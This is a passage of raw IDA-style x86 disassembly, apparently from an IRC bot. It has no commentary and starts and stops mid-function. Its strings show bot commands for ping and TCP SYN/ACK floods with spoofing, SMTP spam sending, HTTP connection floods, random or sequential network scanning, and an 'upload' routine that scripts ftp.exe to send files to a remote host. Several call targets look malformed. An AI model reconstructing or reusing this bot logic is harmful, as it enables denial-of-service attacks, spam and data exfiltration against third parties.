jz loc_407042
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407042
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F18
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F18
push [ebp+arg_8]
push offset aP ; "p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406F18
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6F
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_406D6F
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406D17
push [ebp+arg_10]
lea eax, [ebp+var_47EC]
push eax
call sub_41BEB0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+arg_10], eax
lea eax, [ebp+var_4188]
push eax
call sub_41BEB0
push [ebp+arg_18]
lea eax, [ebp+var_4588]
push eax
call sub_41BEB0
push offset asc_42D124 ; " "
push offset dword_42BBF8
push [ebp+esi+var_7C]
call sub_417EEF
push eax
lea eax, [ebp+var_4288]
push eax
call sub_41BEB0
add esp, 30h
lea eax, [ebp+var_5588]
push eax
push 101h
call dword_4CB5C4
lea eax, [ebp+var_47EC]
push eax
call dword_4CB6D8
push 6
push 1
push 2
mov edi, eax
call dword_4CB6D4
push [ebp+arg_10]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB654
mov [ebp+var_31A], ax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_4288]
push eax
lea eax, [ebp+var_4588]
push eax
lea eax, [ebp+var_4188]
push eax
lea eax, [ebp+var_5988]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41B886
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB5FC
mov edi, 100h
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CB66C
lea eax, [ebp+var_4088]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_5988]
push eax
push esi
call dword_4CB6A4
push ebx
lea eax, [ebp+var_4088]
push edi
push eax
push esi
call dword_4CB66C
push esi
call dword_4CB6EC
call dword_4CB5AC
lea eax, [ebp+var_4588]
push eax
push offset unk_42B0D4
loc_406CD0: ; CODE XREF: sub_401ACD+2E83j
; sub_401ACD+4667j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
loc_406CDC: ; CODE XREF: sub_401ACD+248Cj
add esp, 0Ch
loc_406CDF: ; CODE XREF: sub_401ACD+4585j
; sub_401ACD+6654j ...
cmp [ebp+var_8], ebx
jnz short loc_406D00
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_406D00: ; CODE XREF: sub_401ACD+29B3j
; sub_401ACD+2A06j ...
mov esi, [ebp+arg_24]
loc_406D03: ; CODE XREF: sub_401ACD+68F3j
; sub_401ACD+78E3j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
pop ecx
mov eax, esi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_406D17: ; CODE XREF: sub_401ACD+50ADj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406D41
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4072E9
loc_406D41: ; CODE XREF: sub_401ACD+525Bj
push [ebp+esi+var_7C]
push [ebp+arg_18]
push [ebp+arg_0]
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4100DC
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406D6F: ; CODE XREF: sub_401ACD+507Fj
; sub_401ACD+5096j
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
lea eax, [ebp+var_1354]
push eax
push offset aSyn ; "syn"
call sub_41C070
add esp, 14h
test eax, eax
jz short loc_406DD4
lea eax, [ebp+var_1354]
push eax
push offset aAck ; "ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD4
lea eax, [ebp+var_1354]
push eax
push offset aRandom_0 ; "random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_406DD4
push offset unk_42B08C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_406DD4: ; CODE XREF: sub_401ACD+52CDj
; sub_401ACD+52E4j ...
push [ebp+arg_18]
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_124C], eax
jle loc_406F00
push [ebp+arg_10]
lea eax, [ebp+var_1354]
push esi
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_13D4]
push edi
push esi
push eax
call sub_41B980
push [ebp+arg_0]
call sub_41B779
mov [ebp+var_1250], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1248], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13D8], eax
lea eax, [ebp+var_12D4]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_1248], ebx
mov [ebp+var_1244], eax
mov eax, [ebp+var_8]
mov [ebp+var_1240], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406E71
mov eax, offset aNormal ; "Normal"
loc_406E71: ; CODE XREF: sub_401ACD+539Dj
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push eax
push offset unk_42B048
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B0F7
add esp, 2Ch
mov [ebp+var_1254], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13D8]
push ebx
push eax
push offset word_413E36
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_1254]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_406EEF
loc_406ED9: ; CODE XREF: sub_401ACD+5420j
cmp [ebp+var_123C], ebx
jnz loc_40828C
push 32h
nop
call near ptr 2680000h
jmp short loc_406ED9
; ---------------------------------------------------------------------------
loc_406EEF: ; CODE XREF: sub_401ACD+540Aj
nop
call near ptr 2680ABEh
push eax
push offset unk_42B010
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_406F00: ; CODE XREF: sub_401ACD+5318j
push offset unk_42AFD8
loc_406F05: ; CODE XREF: sub_401ACD+2019j
; sub_401ACD+202Fj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40828C
; ---------------------------------------------------------------------------
loc_406F18: ; CODE XREF: sub_401ACD+503Aj
; sub_401ACD+5051j ...
cmp dword_4CB744, ebx
jnz loc_407027
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_4]
mov [ebp+var_FF8], eax
lea eax, [ebp+var_108C]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_100C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_1008], eax
call sub_41B779
push 7Fh
mov [ebp+var_1004], eax
push [ebp+var_88]
lea eax, [ebp+var_110C]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1110], eax
lea eax, [ebp+var_108C]
push [ebp+var_1004]
push [ebp+var_1008]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_100C]
push offset unk_42AF90
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B0F7
add esp, 24h
mov [ebp+var_FFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1110]
push ebx
push eax
push offset byte_413285
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_FFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407016
loc_407000: ; CODE XREF: sub_401ACD+5547j
cmp [ebp+var_FF0], ebx
jnz loc_40828C
push 32h
nop
call near ptr 2680000h
jmp short loc_407000
; ---------------------------------------------------------------------------
loc_407016: ; CODE XREF: sub_401ACD+5531j
call near ptr 2680ABEh
nop
push eax
push offset unk_42AF58
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_407027: ; CODE XREF: sub_401ACD+5451j
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41B5F0
jmp loc_408289
; ---------------------------------------------------------------------------
loc_407042: ; CODE XREF: sub_401ACD+500Cj
; sub_401ACD+5023j
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push [ebp+arg_0]
push offset unk_42AF04
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
push [ebp+arg_0]
call sub_41AFE0
mov edx, eax
push edi
mov edi, edx
call sub_41AFE0
push [ebp+arg_10]
add edi, eax
call sub_41AFE0
push [ebp+arg_8]
add edi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+edi+7]
push eax
call sub_41B900
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41B779
mov edi, [ebp+arg_1C]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_20], ebx
jle short loc_40713C
loc_4070C5: ; CODE XREF: sub_401ACD+561Cj
push [ebp+arg_C]
push edi
push [ebp+arg_10]
call sub_4185A5
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_1C], eax
jz short loc_4070ED
cmp eax, ebx
jnz short loc_40710C
inc [ebp+arg_20]
mov eax, [ebp+arg_20]
cmp eax, [ebp+arg_14]
jl short loc_4070C5
jmp short loc_407145
; ---------------------------------------------------------------------------
loc_4070ED: ; CODE XREF: sub_401ACD+560Dj
push ebx
push [ebp+var_4]
push offset unk_42AECC
loc_4070F6: ; CODE XREF: sub_401ACD+5681j
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
jmp loc_4072E9
; ---------------------------------------------------------------------------
loc_40710C: ; CODE XREF: sub_401ACD+5611j
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42AE98
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
loc_40713C: ; CODE XREF: sub_401ACD+55F6j
cmp [ebp+arg_1C], ebx
jnz loc_4072E9
loc_407145: ; CODE XREF: sub_401ACD+561Ej
push ebx
push [ebp+var_4]
push offset unk_42AE64
jmp short loc_4070F6
; ---------------------------------------------------------------------------
loc_407150: ; CODE XREF: sub_401ACD+4FC7j
; sub_401ACD+4FDEj ...
mov eax, [ebp+var_8]
push 7Fh
push [ebp+arg_10]
mov [ebp+var_C64], eax
mov eax, [ebp+var_4]
mov [ebp+var_C68], eax
lea eax, [ebp+var_CFC]
push eax
call sub_41B5F0
push edi
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_C7C], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_C78], eax
call sub_41B779
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C74], eax
jz short loc_4071B5
push esi
call sub_41B779
pop ecx
mov [ebp+var_C70], eax
jmp short loc_4071BB
; ---------------------------------------------------------------------------
loc_4071B5: ; CODE XREF: sub_401ACD+56D7j
mov [ebp+var_C70], ebx
loc_4071BB: ; CODE XREF: sub_401ACD+56E6j
push 7Fh
lea eax, [ebp+var_D7C]
push [ebp+var_88]
push eax
call sub_41B5F0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_CFC]
mov [ebp+var_D80], esi
push [ebp+var_C74]
push [ebp+var_C78]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C7C]
push offset unk_42AE1C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B0F7
add esp, 24h
mov [ebp+var_C6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D80]
push ebx
push eax
push offset byte_413411
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_C6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40725E
loc_40724C: ; CODE XREF: sub_401ACD+578Fj
cmp [ebp+var_C60], ebx
jnz short loc_407279
push 32h
nop
call near ptr 2680000h
jmp short loc_40724C
; ---------------------------------------------------------------------------
loc_40725E: ; CODE XREF: sub_401ACD+577Dj
nop
call near ptr 2680ABEh
push eax
push offset unk_42ADE4
loc_40726A: ; CODE XREF: sub_401ACD+4E32j
; sub_401ACD+62BFj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_407279: ; CODE XREF: sub_401ACD+4E16j
; sub_401ACD+5785j ...
cmp [ebp+var_8], ebx
jnz loc_4083BD
push ebx
push [ebp+var_4]
loc_407286: ; CODE XREF: sub_401ACD+22DFj
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4082A9
; ---------------------------------------------------------------------------
loc_407299: ; CODE XREF: sub_401ACD+4F99j
; sub_401ACD+4FB0j
push 0Bh
call sub_40B33F
push edi
mov [ebp+arg_1C], eax
call sub_41B779
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_407455
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42ADA4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 20h
loc_4072E9: ; CODE XREF: sub_401ACD+526Ej
; sub_401ACD+563Aj ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401E94
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409855
push 4
push esi
call sub_416909
pop ecx
test eax, eax
pop ecx
jnz short loc_407325
push esi
push offset unk_42AD7C
jmp loc_408CDC
; ---------------------------------------------------------------------------
loc_407325: ; CODE XREF: sub_401ACD+584Bj
nop
call near ptr 2690AA5h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41B8E2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_51F8]
push edx
push eax
lea eax, [ebp+var_2E58]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41B886
lea eax, [ebp+var_2E58]
push offset aAb ; "ab"
push eax
call sub_41B4C2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401E94
push esi
push [ebp+arg_18]
push [ebp+arg_0]
push edi
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41BE06
push [ebp+arg_24]
call sub_41B05B
add esp, 20h
lea eax, [ebp+var_2E58]
push eax
lea eax, [ebp+var_4CF0]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4CF0]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB5C0
push [ebp+arg_10]
test eax, eax
push esi
jz short loc_4073F4
push offset unk_42AD0C
jmp short loc_4073F9
; ---------------------------------------------------------------------------
loc_4073F4: ; CODE XREF: sub_401ACD+591Ej
push offset unk_42ACDC
loc_4073F9: ; CODE XREF: sub_401ACD+5925j
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_407422
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 14h
loc_407422: ; CODE XREF: sub_401ACD+5937j
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
loc_40742E: ; CODE XREF: sub_401ACD+5986j
lea eax, [ebp+var_2E58]
push 4
push eax
call sub_416909
add esp, 0Ch
test eax, eax
jz loc_401E94
lea eax, [ebp+var_2E58]
push eax
call sub_41BDDC
jmp short loc_40742E
; ---------------------------------------------------------------------------
loc_407455: ; CODE XREF: sub_401ACD+57E6j
push [ebp+arg_10]
call sub_41B779
push edi
mov [ebp+var_370], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41B779
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_40748E
push 5
pop eax
mov [ebp+var_36C], eax
loc_40748E: ; CODE XREF: sub_401ACD+59B6j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40749B
mov [ebp+var_36C], ecx
loc_40749B: ; CODE XREF: sub_401ACD+59C6j
push [ebp+arg_18]
call sub_41B779
mov [ebp+var_368], eax
mov eax, 320h
cmp [ebp+var_368], eax
pop ecx
jbe short loc_4074BD
mov [ebp+var_368], eax
loc_4074BD: ; CODE XREF: sub_401ACD+59E8j
or [ebp+var_354], 0FFFFFFFFh
cmp dword_431B00, ebx
mov [ebp+arg_20], ebx
jz short loc_40750C
mov edi, offset dword_431B00
loc_4074D4: ; CODE XREF: sub_401ACD+5A21j
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4074F2
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_4074D4
jmp short loc_40750C
; ---------------------------------------------------------------------------
loc_4074F2: ; CODE XREF: sub_401ACD+5A17j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_431B00[ecx]
mov [ebp+var_370], ecx
loc_40750C: ; CODE XREF: sub_401ACD+5A00j
; sub_401ACD+5A23j
cmp [ebp+var_370], ebx
jnz short loc_40751E
push offset unk_42ACA8
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_40751E: ; CODE XREF: sub_401ACD+5A45j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_407559
cmp byte ptr [edi], 23h
jz short loc_407559
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41B980
push 78h
push edi
call sub_41BFB0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407633
; ---------------------------------------------------------------------------
loc_407559: ; CODE XREF: sub_401ACD+5A5Aj
; sub_401ACD+5A5Fj
cmp [ebp+var_8FF], bl
jnz short loc_40757B
cmp [ebp+var_8FE], bl
jnz short loc_40757B
cmp [ebp+var_8EE], bl
jnz short loc_40757B
push offset unk_42AC74
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_40757B: ; CODE XREF: sub_401ACD+5A92j
; sub_401ACD+5A9Aj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB5F8
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CB6E0
push eax
lea eax, [ebp+var_484]
push eax
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40762D
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41BE40
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407621
loc_4075FF: ; CODE XREF: sub_401ACD+5B52j
cmp eax, ebx
jz short loc_407621
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41BE40
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4075FF
loc_407621: ; CODE XREF: sub_401ACD+5B30j
; sub_401ACD+5B34j
mov [ebp+var_344], 1
jmp short loc_407633
; ---------------------------------------------------------------------------
loc_40762D: ; CODE XREF: sub_401ACD+5B0Aj
mov [ebp+var_344], ebx
loc_407633: ; CODE XREF: sub_401ACD+5A87j
; sub_401ACD+5B5Ej
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41B980
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_407684
loc_407671: ; CODE XREF: sub_401ACD+5BDAj
push esi
loc_407672: ; CODE XREF: sub_401ACD+5BC4j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41B980
add esp, 0Ch
jmp short loc_4076AF
; ---------------------------------------------------------------------------
loc_407684: ; CODE XREF: sub_401ACD+5BA2j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_407693
cmp byte ptr [eax], 23h
jnz short loc_407693
push eax
jmp short loc_407672
; ---------------------------------------------------------------------------
loc_407693: ; CODE XREF: sub_401ACD+5BBCj
; sub_401ACD+5BC1j
mov esi, offset aF ; "#f"
push offset dword_43D808
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_407671
mov [ebp+var_3F4], bl
loc_4076AF: ; CODE XREF: sub_401ACD+5BB5j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4076C1
mov eax, offset aSequential ; "Sequential"
loc_4076C1: ; CODE XREF: sub_401ACD+5BEDj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AC0C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F7
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C33D
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40774F
loc_407739: ; CODE XREF: sub_401ACD+5C80j
cmp [ebp+var_340], ebx
jnz loc_40828C
push 32h
nop
call near ptr 2680000h
jmp short loc_407739
; ---------------------------------------------------------------------------
loc_40774F: ; CODE XREF: sub_401ACD+5C6Aj
nop
call near ptr 2680ABEh
push eax
push offset unk_42ABD4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_407760: ; CODE XREF: sub_401ACD+4F6Bj
; sub_401ACD+4F82j
push [ebp+arg_10]
call sub_40AAFA
push edi
mov [ebp+var_4E0], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41B779
push [ebp+arg_18]
mov [ebp+var_4EC], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41B5F0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CB6E0
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AB84
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F7
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset word_40C75A
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407855
loc_40783F: ; CODE XREF: sub_401ACD+5D86j
cmp [ebp+var_4D0], ebx
jnz loc_403DA1
push 32h
nop
call near ptr 2680000h
jmp short loc_40783F
; ---------------------------------------------------------------------------
loc_407855: ; CODE XREF: sub_401ACD+5D70j
call near ptr 2680ABEh
nop
push eax
push offset unk_42AB48
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_407866: ; CODE XREF: sub_401ACD+4F2Ej
; sub_401ACD+4F45j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43E5A8[eax], bl
jz loc_409855
cmp [ebp+var_C], ebx
jz loc_409855
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42AB3C
push eax
call sub_41B886
add esp, 0Ch
cmp esi, ebx
jz loc_409855
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A73
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E390[eax], 73h
jnz loc_409855
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43E5A8
push eax
push edi
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407A36
; ---------------------------------------------------------------------------
loc_40795E: ; CODE XREF: sub_401ACD+4F00j
; sub_401ACD+4F17j
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
cmp byte_43E5A8[eax], bl
jz loc_409855
cmp [ebp+var_C], ebx
jz loc_409855
push edi
call sub_41AFE0
push [ebp+arg_10]
mov esi, eax
call sub_41AFE0
push [ebp+arg_8]
add esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409855
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409855
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409855
push ebx
push ebx
push esi
push edi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E59C[eax]
call sub_409A73
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E390[eax], 73h
jnz loc_409855
push esi
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
add eax, offset byte_43E5A8
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407A36: ; CODE XREF: sub_401ACD+5E8Cj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A73
add esp, 28h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_407A63: ; CODE XREF: sub_401ACD+4ED2j
; sub_401ACD+4EE9j
push [ebp+arg_10]
call dword_4CB694
push edi
mov [ebp+var_680], eax
call sub_41B779
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41B779
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41B5F0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CB6E0
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AAE0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset byte_40C669
push ebx
push ebx
call near ptr 2680098h
nop
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407B45
loc_407B2F: ; CODE XREF: sub_401ACD+6076j
cmp [ebp+var_670], ebx
jnz loc_403DA1
push 32h
call near ptr 2680000h
nop
jmp short loc_407B2F
; ---------------------------------------------------------------------------
loc_407B45: ; CODE XREF: sub_401ACD+6060j
nop
call near ptr 2680ABEh
push eax
push offset unk_42ABD4
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_407B56: ; CODE XREF: sub_401ACD+4EA4j
; sub_401ACD+4EBBj
push [ebp+arg_10]
call sub_41B779
